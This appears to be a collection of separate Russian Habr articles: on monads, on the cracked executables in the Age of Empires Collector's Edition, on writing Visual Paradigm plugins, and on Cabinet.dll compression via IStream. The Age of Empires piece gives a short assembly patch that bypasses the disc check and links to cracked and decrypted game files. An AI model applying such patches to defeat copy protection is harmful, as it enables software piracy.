С точки зрения категорий, функциональное программирование состоит из представления программ как морфизмов в категории f: X → Y, где X это «ввод», а Y это «вывод».
> Преимущество такой модели состоит в том, что мы можем погрузить все наши высказывания относительно программ в очень стабильную теорию категорий; возможно менять сущность объектов и категорий, изменять логику лежащего в основе топоса и быть на 100% уверенными в том, о чем мы говорим. Например, вместо «нечёткой логики» можно использовать интуиционистскую логику или семнтику Крипке.
Кажется, что некоторые техники программирования не подходят для такой модели, например исключения или побочные эффекты.
Одно из решений проблемы исключений это введение NullObject или числового значения NaN.
Например, если наша функция не определена на всей области X, мы можем расширить её используя значения из (Y+Null), также как и в [монаде исключения](#monad_state).
А для функций имеющих состояние подойдёт, соответственно, [монада состояния](#monad_state).
### Монада IO в Haskell
В Haskell ввели монаду IO, чтобы избежать сложности с описанием того, каким образом функции могут иметь побочные эффекты.
Они использовали следующий трюк. Возьмите монаду состояния, как мы делали до этого. Вообразите, что A это множество состояний, представляющее внешний мир, а X это множество результатов функции.
В этой модели каждое состояние автомата становится функцией. Далее A представляется как декартово произведение двух множеств String, где первый компонент это «ввод», а второй «вывод».
Для этого введение специальные функции преобразования, первая, getc, забирает символ из ввода, а другая, putc, добавляет символ к выводу.
Интересно, чего же конкретно они пытались этим добиться.
Ссылки и примечания
===================
1. [Википедия](http://en.wikipedia.org/wiki/Monads_in_functional_programming) как основной источник ссылок.
2. [Эта статья](http://mikael.jansson.be/hacking/misc/export/83/tutors_and_papers/haskell/db-utwente-0000003696.pdf) как сложное, скучное, но исчерпывающее объяснения монадической терминологии используемой в программировании.
3. [“Comprehending Monads”](http://ofb.net/~frederik/comp2.pdf) от Frederik Eaton — трехстраничный словарик терминов и обозначений.
4. В Haskell u называют return, а m называют [комбинатором](http://research.microsoft.com/Users/simonpj/Papers/marktoberdorf/mark.pdf) или [join](http://en.wikipedia.org/wiki/Monads_in_functional_programming#I.2FO)
5. Многие книги по Haskell упоминают List как пример монады имея в то же время особую реализацию монады состояния.
6. [Еще один пример](http://sneezy.cs.nott.ac.uk/fplunch/weblog/?p=23) монады это [map/reduce](http://labs.google.com/papers/mapreduce.html) от Google. | https://habr.com/ru/post/125782/ | null | ru | null |
# В официальном издании Age of Empires Collector's Edition на DVD используются крэки из сети
Первые части игры Age of Empires уже давно стали своего рода классикой. У этой игры до сих пор есть немало поклонников. В 2007 году вышло официальное коллекционное издание игры, которое включает первую и вторую части с дополнениями. Причём во всех странах, кроме США, оно вышло на одном DVD вместо четырёх CD. Тогда я уже немного занимался [реверс-инжинирингом этой игры](http://habrahabr.ru/post/51857/) и знал, что оригинальные версии исполняемых файлов не захотят работать с одним общим диском, поскольку в код каждой части и их дополнений зашита проверка метки соответствующего диска. Очевидно, что у одного DVD не может быть сразу четыре разных метки, и после покупки русского DVD издания я ожидал увидеть перекомпилированные разработчиками версии файлов с изменённым кодом проверки наличия диска или вовсе без него. Но всё оказалось намного интереснее.
#### Всё в худших традициях пиратских антологий:
* все стилизованные (оригинальные) установщики с красивой графикой заменены на стандартные;
* часть оригинальной музыки лежит на DVD в виде неаккуратного рипа с именами файлов вида «01-AudioTrack 01.wav»;
* во время игры мы не слышим оригинальной музыки — игре никто не сказал, что музыку нужно брать из wav файлов, а не из Audio CD, как это было в оригинальной версии;
* после установки последних официальных обновлений с сайта Microsoft игра не признаёт DVD как родной и отказывается запускаться.
#### Никто и не занимался адаптацией игры для DVD издания!
Потеряли исходный код? Не нашли подходящего разработчика для пары мелких правок и компиляции нового исполняемого файла? Или может быть страшная бюрократия в Microsoft, из-за которой даже мелкие и легко исправимые ошибки [просто объявляются](http://habrahabr.ru/post/89763/) особенностью архитектуры приложения?
Все исполняемые файлы устанавливаются в расшифрованном виде без [SafeDisc](http://ru.wikipedia.org/wiki/SafeDisc) (защита от копирования), которая использовалась на оригинальных CD. Ok, дешифрованные версии исполняемых файлов у издателя вполне могли быть. Но что тогда с кодом проверки метки диска?
#### Как оказалось, всё дело в крэках!
Да-да, все факты указывают на то, что взломанные версии исполняемых файлов для этого издания были взяты из сети Интернет и… немножко отредактированы, возможно, для сокрытия этого факта.
Рассмотрим это на примере Age of Empires II: The Conquerors 1.0c. Возьмём оригинальный зашифрованный исполняемый файл [age2\_x1.icd](http://vrublevsky.org/aoe/unmasking/age2_x1.icd) — в нём отлично просматривается вся структура PE файла, а зашифрованы только некоторые участки машинного кода. Используя известные методы снятия SafeDisc получаем расшифрованный файл [age2\_x1.exe](http://vrublevsky.org/aoe/unmasking/age2_x1.exe). Теперь у нас есть эталонный файл. Далее для исследования возьмём известный в сети NoCD для этой версии игры, судя по всему созданный в недрах уже несуществующего клана Berserkers на основе патча от [Myth](http://en.wikipedia.org/wiki/Myth_%28warez%29) в конце 2001 года ([age2\_x1\_bsk.exe](http://vrublevsky.org/aoe/unmasking/age2_x1_bsk.exe)). Также с DVD коллекционного издания установим английскую версию The Conquerors (/AOE2CONQ/EN/setup.exe) и возьмём установленный исполняемый файл игры ([age2\_x1\_dvd.exe](http://vrublevsky.org/aoe/unmasking/age2_x1_dvd.exe)).
#### Итак, приступим к исследованию
Сравним файлы друг с другом. Первой бросается в глаза разница в описании секций exe файла:
Как известно, имена секций никак не влияют на выполнение программы и носят исключительно информационный характер. Однако, обычно компиляторы дают всем секциям привычные имена типа «.code», «.data» и т.д. Но в оригинальном исполняемом файле некоторые секции имеют нетипичные названия «THIS\_COD», «THIS\_DAT» и «Inf32Dat». Скорее всего столь специфичные имена секций связаны с использованием SafeDisc. В файле с DVD эти секции переименованы в более привычные «.code», «.data2» и «.idata», причём очевидно, что вручную — лишние символы забиты пробелами (код `20h`), а не нулями. То есть явно кто-то открыл исполняемый файл в HEX редакторе и вручную исправил названия секций. Возможно для того, чтобы исполняемый файл выглядел более типично.
Также мы видим, что в BSK оставили немного служебной информации для SafeDisc из зашифрованного файла age2\_x1.icd перед началом первой секции:
И в конце файла:
Эта информация хранится в незначащих участках файла и никак не используется игрой. Как видно, в DVD версии нет никакой служебной информации, указывающей на то, что файл ранее был защищён SafeDisc. Но в конце каждой секции есть одна маленькая зацепка:
После работы декодера SafeDisc в конце каждой секции появляется метка в виде последовательности байт `00 05 43 1F`. В исходном icd файле там нули. Поскольку это конец секции, для основной программы это также ничего не значит. В версии файла от BSK мы видим, что их никто не удалял (не мешают — и ладно). В версии с DVD мы видим, что они также никуда не делись.
#### Ну и самое интересное — сравним машинный код
Сразу же находим участок машинного кода, который отвечает за проверку наличия CD:
Эта функция начинается со смещения `485A0h` и я уже рассказывал о ней в статье о [модификации этой игры](http://habrahabr.ru/post/51857/). В ней описана достаточно сложная логика проверки наличия диска, но в результате функция просто возвращает 0 в случае неудачи и 1 в случае успеха. Я предлагал для патча заменить код всей этой здоровой функции на простую последовательность, всегда возвращающую 1:
```
xor eax, eax
inc eax
retn 4
```
Но в BSK подошли с душой к этому делу. Намётанный глаз и без дизассемблирования видит, что они заменили пару условных переходов `jz (74h)` и `jnz (75h)` на безусловный `jmp (EBh)` и ещё много чего :) Причём если дизассемблировать этот участок, можно проследить небольшой просчёт крэкера из BSK — если в реестре не будет записи с буквой диска, откуда установлена игра — код будет возвращать 0, и игра будет требовать вставить диск.
Ну а теперь самое важное — в исполняемом файле, установленном с официального коллекционного DVD, весь машинный код совпадает до байта с версией от BSK, включая (сюрприз для любителей AoC) несколько других странных патчей кода, судя по всему не относящихся к проверке диска вообще (с этим ещё предстоит разобраться):
То есть не остаётся сомнений в том, что в основу исполняемого файла для коллекционного издания лёг пропатченный файл от BSK. Если говорить строго, то в нём просто убрали остатки служебной информации для SafeDisc и изменили имена секций.
#### И напоследок
Хочу заметить, что у меня на руках есть только [официальное русское издание](http://www.nd.ru/prod.asp?razd=descr&prod=ageofempiresplatinum) от «Новый Диск». Но есть все основания полагать, что и в [других коллекционных изданиях](http://www.mobygames.com/game/windows/age-of-empires-collectors-edition/cover-art) проблема несовместимости игр с DVD решена подобным образом.
Данным постом я хотел лишь подчеркнуть всю комичность ситуации, когда даже официальный издатель вынужден использовать крэки, созданные вроде как «нехорошими дядями» для «нехороших целей».
Кстати да, все файлы предоставлены в ознакомительных целях. После их изучения вы обязаны их удалить.
Спасибо за внимание. | https://habr.com/ru/post/168269/ | null | ru | null |
# Разработка плагинов для Visual Paradigm
Visual paradigm ― мощный инструмент, идеология использования которого выходит за рамки простого рисования диаграмм. Главное назначение инструментов данного класса (Visual Paradigm, Enterprise Architect и др.) ― описание модели информационной системы и дальнейшая работа с ней. Под работой подразумевается ее визуализация в виде диаграммы, экспорт документации, генерация исходных кодов, анализ, подсчет метрик и т. п.
Как правило, сценарии использования модели могут быть самые разные и разработчики систем все их предусмотреть не могут. При этом они предоставляют возможности по разработке собственных плагинов, которые могут преобразовать или модифицировать модель необходимым конкретно вам образом.
В статье я расскажу об основах создания плагинов для Visual Paradigm. В качестве примера возьмем формирование SQL-скрипта с комментариями к таблицам и колонкам на основе ER-диаграммы.
Что такое плагин Visual Paradigm
--------------------------------
Плагин Visual Paradigm ― набор скомпилированных для JVM классов, реализующих интерфейсы Visual Paradigm OpenAPI. Плагин может быть написан на любом JVM языке: Java, Kotlin, Scala, Groovy и т. д. Единственное ограничение ― использование JDK версии 11 (для 16-x и 17-х версий Visual Paradigm).
Плагины делятся на три группы:
* привязаны к контексту и доступны только через контекстное меню (можно определить, для какого именно типа модели или диаграммы будет доступно действие);
* не привязанные к контексту (доступны через кнопку на панели);
* создание собственных фигур.
Любой плагин для Visual Paradigm состоит из двух частей:
* классов, которые реализуют логику плагина и взаимодействуют с проектом через OpenAPI Visual Paradigm;
* манифеста ― описания, как интегрировать плагин в интерфейс.
Все интерфейсы, предоставленные Visual Paradigm для разработки плагинов, собраны в библиотеку OpenAPI. Она находится в папке «bundled» в каталоге установки Visual Paradigm. Каждый плагин должен иметь класс с реализацией интерфейса `VPPlugin` и один или несколько ―с реализацией интерфейсов действий (action controller):
* `VPActionController` ― для общих действий, не привязанных к контексту;
* `VPContextActionController` ― для контекстно-зависимых действий;
* `VPShapeController` ― для создания собственных фигур.
Манифест ― это файл plugin.xml, описывающий следующие метаданные плагина:
* где и как отобразить плагин;
* область применения (например, диаграмма конкретного типа);
* связь интерфейса пользователя и классов действий.
Манифест, классы, ресурсы и зависимости плагина кладутся в каталог `plugins`, находящийся в каталоге настроек пользователя Visual Paradigm. Найти нужный путь можно в окне установки плагина Help -> Install plugin.
Для отладки загрузки плагина и, в первую очередь, корректности plugin.xml, нужно смотреть файл vp.log, который находится в каталоге настроек пользователя Visual Paradigm. В этот файл попадает весь System.out (в Kotlin для записи в System.out используется функция println).
Установка плагинов
------------------
Установка уже разработанных плагинов доступна через Help -> Install plugin. Есть три способа:
* из ZIP архива;
* из каталога;
* скопировать вручную в папку плагинов пользователя (в этом случае Visual Paradigm предлагает скопировать путь к каталогу плагинов).
Экран установки плагина в Visual Paradigm (Help -> Install Plugin)Результат всегда один ― файлы окажутся в папке плагинов. После установки плагина надо перезагрузить Visual Paradigm.
Всем разработчикам плагинов я рекомендую установить плагин Hot Reload (<https://github.com/leonidv/vp-plugin-hot-reload/releases/tag/1.0>). Он позволяет избегать перезагрузки Visual Paradigm при разработке плагина в том случае, если поменялся только его исходный код. Когда меняется plugin.xml или состав подключаемых библиотек, перезагружать программу все равно придется. Hot Reload не зависит от контекста, поэтому после установки он будет доступен на вкладке Plugins (кнопка Reload plugins).
Кнопка установленного плагина Hot ReloadШаги разработки плагина
-----------------------
Разработка плагина для Visual Paradigm состоит из следующих шагов:
1. Подготовка проекта плагина, включая:
1. Создание пустого Gradle (Maven) проекта.
2. Подключение к нему openapi.jar.
3. Настройка Gradle-задач для удобной установки разрабатываемого плагина в Visual Paradigm.
2. Разработка самого плагина (здесь порядок действий достаточно произвольный):
1. Реализация `VPPlugin`.
2. Реализация действия (самой логики).
3. Описание манифеста ― plugin.xml.
В реальной практике подготовка проекта занимает малое время ― так или иначе все сводится к копированию уже имеющихся наработок.
Подготовка заготовки плагина
----------------------------
В данном примере будут использованы следующие инструменты:
* Kotlin;
* Gradle, в качестве языка описания конфигурации ― Kotlin;
* IntelliJ Idea (возможностей бесплатной версии будет достаточно).
Если вы используете что-то другое, легко сможете адаптировать учебный проект под свои инструменты.
### Шаг 1a. Создание пустого Gradle-проекта
Создать Gradle-проект можно любым способом. Я предпочитаю делать это с помощью IntelliJ Idea, указав следующие параметры:
* Language: Kotlin;
* Build system: Gradle;
* JDK: 11 (я рекомендую сборки LibericaJDK);
* Gradle DSL: Kotlin.
### Шаг 1b. Подключение openapi.jar
После создания проекта нужно сделать два шага:
1. Скопировать файл openapi.jar в папку проекта lib (ее нужно создать). При стандартной установке в Windows openapi.jar можно найти по пути: `C:\Program Files\Visual Paradigm 16.3\bundled.`
2. Добавить его в зависимости скрипта сборки:
`compileOnly(files("lib/openapi.jar"))`.
### Шаг 1c. Gradle-задачи для деплоя плагина
Это минимально рабочий проект (по сути, достаточно указать одну зависимость). А для удобной разработки нам понадобится еще ряд вспомогательных задач (основные):
* установка плагина;
* копирование только скомпилированных классов, что в связке с плагином для hot reload значительно повышает удобство разработки.
С учетом всех пожеланий итоговый файл сборки выглядит так:
```
import org.apache.tools.ant.taskdefs.Mkdir
import org.jetbrains.kotlin.gradle.tasks.KotlinCompile
plugins {
kotlin("jvm") version "1.7.10"
}
group = "com.vygovskiy.vpplugin"
version = "1.0-SNAPSHOT"
val userHome = System.getProperty("user.home")
val userName = System.getProperty("user.name")
val vpPluginsDir = "${userHome}\\AppData\\Roaming\\VisualParadigm\\plugins"
val vpPluginName = project.name
val vpPluginDir = "$vpPluginsDir/$vpPluginName"
repositories {
mavenCentral()
}
dependencies {
compileOnly(files("lib/openapi.jar"))
testImplementation(kotlin("test"))
}
tasks.test {
useJUnitPlatform()
}
tasks.withType {
kotlinOptions.jvmTarget = "11"
}
val createPluginDir by tasks.register("vpCreatePluginDir") {
group = "Visual Paradigm"
description = "Create plugin's directory"
doLast {
mkdir(vpPluginDir)
}
}
tasks.register("vpInstallPlugin") {
group = "Visual Paradigm"
description = "Copy all plugins file into Visual Paradigm plugins folder"
dependsOn(
copyClasses,
copyDependenciesJars
)
}
val deletePluginDir by tasks.register("vpDeletePluginDir") {
group = "Visual Paradigm"
description = "Delete plugin's folder"
delete(vpPluginDir)
}
val copyClasses by tasks.register("vpCopyClasses") {
group = "Visual Paradigm"
description = "Compile and copy classes into plugins folder. Use it for hot-reload "
dependsOn("build")
from(
"$buildDir/classes/kotlin/main",
"$buildDir/resources/main"
)
into(vpPluginDir)
}
val copyDependenciesJars by tasks.register("vpCopyDependenciesJars") {
group = "Visual Paradigm"
description = "Copy plugin's dependencies into plugin folder"
dependsOn(copyPluginXml)
from(
getJarDependencies()
.map {it.absoluteFile}
.toTypedArray()
)
into("$vpPluginDir/lib")
}
val copyPluginXml by tasks.register("vpCopyPluginXml") {
group = "Visual Paradigm"
description = "Prepare and copy plugin.xml into plugin folder"
dependsOn(createPluginDir)
doLast {
val runtimeSection = getJarDependencies().joinToString(
separator = "\n",
prefix = "\n \n",
postfix = "\n \n"
) {" "}
val pluginXmlFile = File("$buildDir/resources/main/plugin.xml").readText()
val content = pluginXmlFile
.replace("", runtimeSection, false)
.replace("#pluginId#", vpPluginName)
.replace("#user#", userName)
File("$vpPluginDir/plugin.xml").writeText(content)
}
}
fun getJarDependencies(): FileCollection {
return configurations.runtimeClasspath.get()
.filter {it.name.endsWith("jar")}
}
```
Список всех добавленных команд с описанием:
Список команд Gradle-скрипта, помогающих в разработке плагинов Visual ParadigmРазработка логики экспорта комментариев
---------------------------------------
Теперь у нас все готово для удобной реализации изначально поставленной задачи ― выгрузки описания колонок и таблица из ER-диаграмм в виде SQL кода для Postgresql. Данное действие лучше добавить в контекстное меню ER-диаграммы, т. е. оно контекстно-зависимое. Поэтому:
* класс реализует интерфейс `VPContextActionController`;
* в манифесте мы используем блок `contextSensitiveActionSet`.
### Реализация VPPlugin
Реализация интерфейса VPPlugin обычно остается пустой. Интерфейс описывает два метода, вызываемых при загрузке (loaded) и выгрузке (unloaded) классов плагина. При желании можно выводить информацию в `System.out` и читать ее из файла `vp.log` (файл находится в каталоге уровнем выше каталога с плагинами).
**Обратите внимание!** VP создает инстанс класса для вызова `loaded` и отдельный инстанс для `unloaded`.
```
package ercomments
import com.vp.plugin.VPPlugin
import com.vp.plugin.VPPluginInfo
class Plugin : VPPlugin {
override fun loaded(vpPluginInfo: VPPluginInfo) {
// Выводим сообщение в стандартный вывод. Вы можете увидеть сообщение
// в файле vp.log, который лежит в каталоге настроек пользователя VP.
// В этом же каталоге находится папка plugins.
println("plugin [ercomments] is loaded ")
}
override fun unloaded() {
println("[ercomments] is unloaded")
}
}
```
### Реализация класса действий
#### Интерфейс VPContextActionController
Класс с действием должен реализовать интерфейс `VPContextActionController` с двумя функциями:
* `performAction` ― здесь надо поместить логику плагина;
* `update` ― вызывается при отображении действия в меню (в реализации можно, например, заблокировать элемент меню).
Самый важный параметр обеих функций ― параметр с типом `VPContext`. Из него можно получить диаграмму или ее элемент, на котором было вызвано действие.
#### Элементы модели и элементы диаграммы
Важно различать *элемент диаграммы* и *элемент модели*. Элемент диаграммы ― графический элемент с координатами, стилем и т. п. Он принадлежит конкретной диаграмме, и все изменения будут видны только на ней. Как правило, каждый элемент диаграммы отображает свойства одного элемента модели.
Элемент модели ― это часть модели проекта. Он содержит такие свойства, как имя, тип, описание (description), комментарии, видимость, операции и т. д. Полный список типов задан константами `MODEL_TYPE_*` в интерфейсе `IModelElementFactory`.
**Важно!** Один элемент модели может быть представлен разными элементами диаграммы. Если изменяется свойство элемента модели (например, имя) на одной диаграмме, оно изменится и на других.
В большинстве случаев нужно работать с элементами модели. Для получения списка элементов модели проще всего воспользоваться методом диаграммы `toDiagramElementArray()` и вызывать у каждого элемента диаграммы функцию `getModelElement()`. Для удобства, при вызове `toDiagramElementArray()` можно передать список типов моделей.
#### Интерфейс пользователя
Visual Paradigm реализована на фреймворке Swing и позволяет в плагинах отображать любые окна. Информация о создании полноценного UI выходит за рамки этой статьи.
Для нашей задачи необходимо узнать у пользователя имя файла, в который будет выгружен SQL. Для решения этой задачи подойдет стандартный Java-класс `JFileChooser`. Прочитать про него можно здесь: <https://docs.oracle.com/javase/tutorial/uiswing/components/filechooser.html>
#### Исходный код реализации плагина
Реализация плагина заключается в следующих шагах:
1. Узнаем у пользователя имя файла, в который он хочет экспортировать SQL (функция chooseFile).
2. Получаем все элементы модели типа DB\_TABLE.
3. Для каждой таблицы:
* формируем и сохраняем SQL с ее комментарием;
* перебираем строки и для каждой сохраняем SQL с комментарием.
Исходный код:
```
package ercomments
import com.vp.plugin.ApplicationManager
import com.vp.plugin.ViewManager
import com.vp.plugin.action.VPAction
import com.vp.plugin.action.VPContext
import com.vp.plugin.action.VPContextActionController
import com.vp.plugin.model.IDBTable
import com.vp.plugin.model.factory.IModelElementFactory
import java.awt.Component
import java.awt.event.ActionEvent
import java.io.PrintWriter
import javax.swing.JFileChooser
class ExportERCommentsPluginAction : VPContextActionController {
private val TABLE_COMMENT = """COMMENT ON TABLE #TABLE_NAME IS '#COMMENT';"""
private val COLUMN_COMMENT = """COMMENT ON COLUMN #TABLE_NAME.#COLUMN_NAME IS '#COMMENT';"""
private val viewManager : ViewManager
get() = ApplicationManager.instance().viewManager
private fun makeCommentValue(s: String?): String =
if (s.isNullOrBlank()) {
"NULL"
} else {
s.replace("'", "''")
}
private fun makeTableComment(name: String, comment: String): String =
TABLE_COMMENT
.replace("#TABLE_NAME", name)
.replace("#COMMENT", makeCommentValue(comment))
private fun makeColumnComment(table: String, column: String, comment: String): String =
COLUMN_COMMENT
.replace("#TABLE_NAME", table)
.replace("#COLUMN_NAME", column)
.replace("#COMMENT", makeCommentValue(comment))
/**
* Предлагаем пользователю выбрать файл и если он выбран - вызываем action.
*/
private fun chooseFile(action: (PrintWriter) -> Unit) {
val fc = viewManager.createJFileChooser()
if (fc.showSaveDialog(viewManager.rootFrame) == JFileChooser.APPROVE_OPTION) {
val file = fc.selectedFile
viewManager.showMessage("Export ER Comments into ${file.absoluteFile}")
file.printWriter().use {
action(it)
it.flush()
}
viewManager.showMessage("export completed")
}
}
override fun performAction(action: VPAction, context: VPContext, event: ActionEvent) {
chooseFile {writer ->
val diagram = context.diagram
val tables = diagram
// Получаем массив всех элементов диаграммы, которые относятся к таблицам
.toDiagramElementArray(IModelElementFactory.MODEL_TYPE_DB_TABLE)
// Достаем из элемента диаграммы элемент модели
.map {it.modelElement as IDBTable}
tables.forEach {table ->
viewManager.showMessage(" export table ${table.name}")
writer.println(makeTableComment(table.name, table.description))
table.toDBColumnArray().forEach {column ->
writer.println(makeColumnComment(table.name, column.name, column.description))
}
}
}
}
override fun update(vpAction: VPAction, vpContext: VPContext) { }
}
```
### Манифест плагина
Теперь давайте добавим плагин в UI Visual Paradigm. Для этого нужно создать манифест плагина ― plugin.xml. Его нужно сохранить в каталоге проекта `src/main/resources/` Нужный манифест выглядит таким образом:
```
xml version="1.0" encoding="UTF-8" ?
```
Разберем его подробнее:
1. Объявление плагина корневым тэгом plugin. В его атрибутах задается метаинформация о плагине (id, имя и т. п.) и указывается класс реализации `VPPlugin`.
2. Информация об используемых зависимостях ― секция runtime. В нашем примере она создается автоматически Gradle-скриптом.
3. В тэге `actionSets` задаются действия (action) и правила их отображения на UI.
Самое интересное и значимое в plugin.xml ― это определение действия. В actionSets можно вложить два элемента:
* `actionSet` ― для определения контекстно-независимого действия;
* `contextSensitiveActionSet` ― для определения контекстно-зависимого действия.
Действие экспорта описания таблиц и колонок в SQL имеет смысл только для ER-диаграмм, т. е. оно контекстно-зависимое. Определим это с помощью блока.
Иногда бывает трудно понять, какой именно тип имеет нужная нам диаграмма или элемент модели. Документация здесь, откровенно, хромает. Чтобы определить тип документа, проще всего включить режим all=”true” (отображать в любом контекстном меню) и использовать следующий код в реализации действия:
```
override fun performAction(action: VPAction, context: VPContext, event: ActionEvent) {
val viewManager = ApplicationManager.instance().viewManager
viewManager.showMessage(context.contextType)
viewManager.showMessage(context.diagram?.type ?: "")
viewManager.showMessage(context.modelElement?.modelType ?: "")
}
```
В атрибуте `menuPath` указывается пункт меню, после которого будет добавлен наш пункт. В данном случае ― сразу после подменю Export. Чтобы добавить сразу после пункта меню Open Specification, надо указать “OpenSpecification”.
Пример оформления контекстно-независимого плагина можно посмотреть в реализации плагина Hot Reload: <https://github.com/leonidv/vp-plugin-hot-reload/blob/master/src/main/resources/plugin.xml#L13>
### Деплой плагина
Последнее, что осталось сделать, ― установить плагин в Visual Paradigm:
1. Вызвать задачу Gradle-скрипта `vpInstallPlugin`.
2. Запустить Visual Paradigm.
3. Проверить, что в контекстном меню ER-диаграмм появился пункт Export descriptions as DDL.
На рисунке показан пункт в меню Visual Paradigm и пример полученного SQL-файла.
Что делать, если что-то пошло не так
------------------------------------
### Логи и сообщения
Важно отметить, что в реальной жизни я делаю плагин в такой последовательности:
1. Делаю реализацию `VPActionController`/ `VPContextActionController`, которая в функции `performAction` выводит строку в панель сообщений Visual Paradigm:
`ApplicationManager.instance().viewManager.showMessage(":)")`
2. Добавляю действие в plugin.xml и убеждаюсь, что он появился в нужном месте.
3. Реализую логику работы плагина.
При появлении проблемы, полезно смотреть в vp.log Visual Paradigm. Он находится в той же папке, что и plugins с нашим плагином. В него попадают:
* ошибки разбора plugin.xml (например, опечатка в имени класса);
* не перехваченные исключения.
Для отладки логики и вывода промежуточных сообщений лучше использовать viewManager. showMessage.
### Отладка в дебаггере
Если ваш плагин имеет очень сложную логику и требуется полноценная отладка, вы можете запускать Visual Paradigm под дебаггером IDE. Как это сделать, хорошо описано в этих статьях:
* Intellij Idea ― <https://knowhow.visual-paradigm.com/openapi/debug-plugins-ij/>
* Eclipse ― <https://knowhow.visual-paradigm.com/openapi/debug-plugins-eclipse/>
Исходные коды примера
---------------------
Шаблон для создания своих плагинов: <https://github.com/leonidv/vp-plugin-template>
Исходные коды плагина из статьи: <https://github.com/leonidv/vp-plugin-er-comments>
Ссылки
------
Нельзя сказать, что материал создания плагинов для Visual Paradigm хорошо раскрыт в официальной документации. Тем не менее, для дальнейшего изучения будут полезны следующие ссылки:
* <https://www.visual-paradigm.com/support/documents/pluginuserguide/2186_developingpl.html> ― официальная документация.
* <https://forums.visual-paradigm.com/c/plug-in-open-api/7> ― форум поддержки по разработке плагинов. С задержкой, но разработчики Visual Paradigm отвечают.
* <https://forums.visual-paradigm.com/t/guide-getting-started-with-plugin-development/13915> ― большая обзорная статья. Обратите внимание на раздел The OpenAPI Structure с описанием основных интерфейсов OpenAPI.
* <https://knowhow.visual-paradigm.com/openapi/> ― большое количество примеров по работе с OpenAPI. Правда, подавляющее большинство из них — это создание тех или иных диаграмм из кода. Они могут быть полезные при поиске названий моделей и приемов работы с ними.
Заключение
----------
Писать плагины к Visual Paradigm просто, а за счет них можно экономить время при решении рутинных задач. При этом можно решать и достаточно комплексные и сложные задачи, необходимые именно вашему процессу архитектурного описания систем.
Сообщество пользователей Visual Paradigm
----------------------------------------
Visual Paradigm достаточно широкого используется в компаниях Российской Федерации в совершенно разных областях: стартапах, крупном бизнесе, госорганах. При этом как такового сообщества пользователей не сформировано. Я предлагаю всем заинтересованным присоединиться к группе в телеграмме <https://t.me/visualparadigm_ru> для обмена опытом. Группа только появилась и начинает развиваться. Присоединяйтесь, в группе будут появляться полезные материалы по работе с Visual Paradigm. | https://habr.com/ru/post/685046/ | null | ru | null |
# Работа с cab-архивами через IStream
Некоторое время назад мне потребовалось сжимать данные прямо в памяти, причём не использовать для этого ничего стороннего — т.е. пользоваться встроенными в систему возможностями. Выбор пал на *Cabinet.dll* в качестве средства для сжатия данных и на интерфейс *IStream* для работы с данными в памяти. Ничего подобного в интернете я не нашёл, поэтому решил поделиться наработками.
Вступление
----------
Использовать сторонние решения не хотелось, ибо пришлось бы таскать с собой библиотеки или включать исходники в проект. Windows предоставляет не такой уж и большой набор средств для сжатия/распаковки данных: это *Cabinet.dll*, *ZipFldr.dll* (сжатые Zip-папки) и [RtlCompressBuffer](http://msdn.microsoft.com/en-us/library/windows/hardware/ff552127)/[RtlDecompressBuffer](http://msdn.microsoft.com/en-us/library/windows/hardware/ff552191). Внятной документации по сжатым Zip-папкам я не нашёл, RtlCompressBuffer/RtlDecompressBuffer в версиях по Windows 7 включительно поддерживает только сжатие LZ, а вот *Cabinet.dll* присутствует в системе аж с [Windows 95](http://msdn.microsoft.com/en-us/library/ms974336) и до наших дней.
В качестве функций для работы с файлами и памятью документация предлагает использовать функции стандартной библиотеки C или функции Windows API, такие как CreateFile/CloseHandle/ReadFile/WriteFile. Так как все операции над файлами выполнялись в памяти, то для этих целей было решено использовать [IStream](http://msdn.microsoft.com/en-us/library/windows/desktop/aa380034).
Немного о Cabinet.dll
---------------------
Библиотека функционально делится на 2 части: FCI (file compression interface) и FDI (file decompression interface). Почитать об этом можно [тут](http://msdn.microsoft.com/en-us/library/bb417343). Оба интерфейса используют, по сути, одни и те же функции для работы с файлами и памятью, но Microsoft почему-то решила сделать разные прототипы для FCI и FDI. Впрочем, ничто не мешает описать одни через другие. Как это сделать, смотрите ниже.
Для использования библиотеки надо подключить файлы *FCI.h* и/или *FDI.h* соответственно и указать линкеру на *Cabinet.lib*. Все эти файлы входят в состав Windows SDK.
Реализация интерфейса сжатия
----------------------------
Простейший код, реализующий сжатие, выглядит так:
```
/*
Входные данные:
IStream* pIStreamFile — поток с данными файла, который надо добавить в архив
char* szFileName — имя файла в архиве. Если файлов несколько, то и имена их должны быть разными
*/
ERF erf;
CCAB ccab = {MAXINT, MAXINT};
*(IStream**)ccab.szCabPath = SHCreateMemStream(0, 0); //Поток для выходного файла
HFCI hFCI = FCICreate(&erf, fPlaced, fAlloc, fFree, fOpen, fRead, fWrite, fClose, fSeek, fDelete, fTemp, &ccab, 0);
if(hFCI){
FCIAddFile(hFCI, (PSZ)pIStreamFile, szFileName, 0, fGetNext, fStatus, fInfo, tcompTYPE_MSZIP);
FCIFlushFolder(hFCI, fGetNext, fStatus);
FCIFlushCabinet(hFCI, 0, fGetNext, fStatus);
FCIDestroy(hFCI);
}
/*
Выходные данные:
(IStream*)ccab.szCabPath — поток, содержащий cab-архив. Не забудьте сделать ему Release() по окончании использования!
*/
```
Т.е. сам код довольно прост. Вся соль заключается в функциях, передаваемых при создании контекста FCI и далее по ходу выполнения. Об их параметрах и возвращаемых значениях можно почитать [здесь](http://msdn.microsoft.com/en-us/library/ff797922), поэтому далее будет указана только основная информация. Ниже приведён разбор каждой функции.
Тут следует добавить, что файловые дескрипторы у нас будут нестандартными в этом плане — это указатели на *IStream*. В силу этой особенности нужно быть аккуратным с передачей этого «дескриптора». Например, в структуре *CCAB* есть 2 поля: *szCabPath* и *szCab*, и казалось бы логичным передать адрес во 2-й параметр, но нет. FCI выполняет конкатенацию строк (вернее, он-то думает, что конкатенирует строки, но мы-то знаем…), поэтому в результате «именем» файла будет являться *szCabPath*, и он же будет являться дескриптором.
### fPlaced
Вызывается каждый раз при добавлении нового файла в архив.
```
FNFCIFILEPLACED(fPlaced){
return 0;
}
```
Возврат -1 означает ошибку, остальные значения определяются приложением. Можно использовать для индикации добавления файлов, например.
### fGetNext
Вызывается перед созданием нового тома архива.
```
FNFCIGETNEXTCABINET(fGetNext){
return 1;
}
```
В случае успеха возвращает **TRUE**, в противном случае — **FALSE**. Ничего примечательного.
### fStatus
Вызывается на нескольких этапах обработки файла: сжатие блока, добавление сжатого блока и запись архива.
```
FNFCISTATUS(fStatus){
return typeStatus == statusCabinet ? cb2 : 0;
}
```
В случае ошибки надо вернуть -1, в противном случае — любое значение (за исключением *typeStatus == statusCabinet* — тогда надо вернуть размер архива, который передаётся через параметр *cb2*).
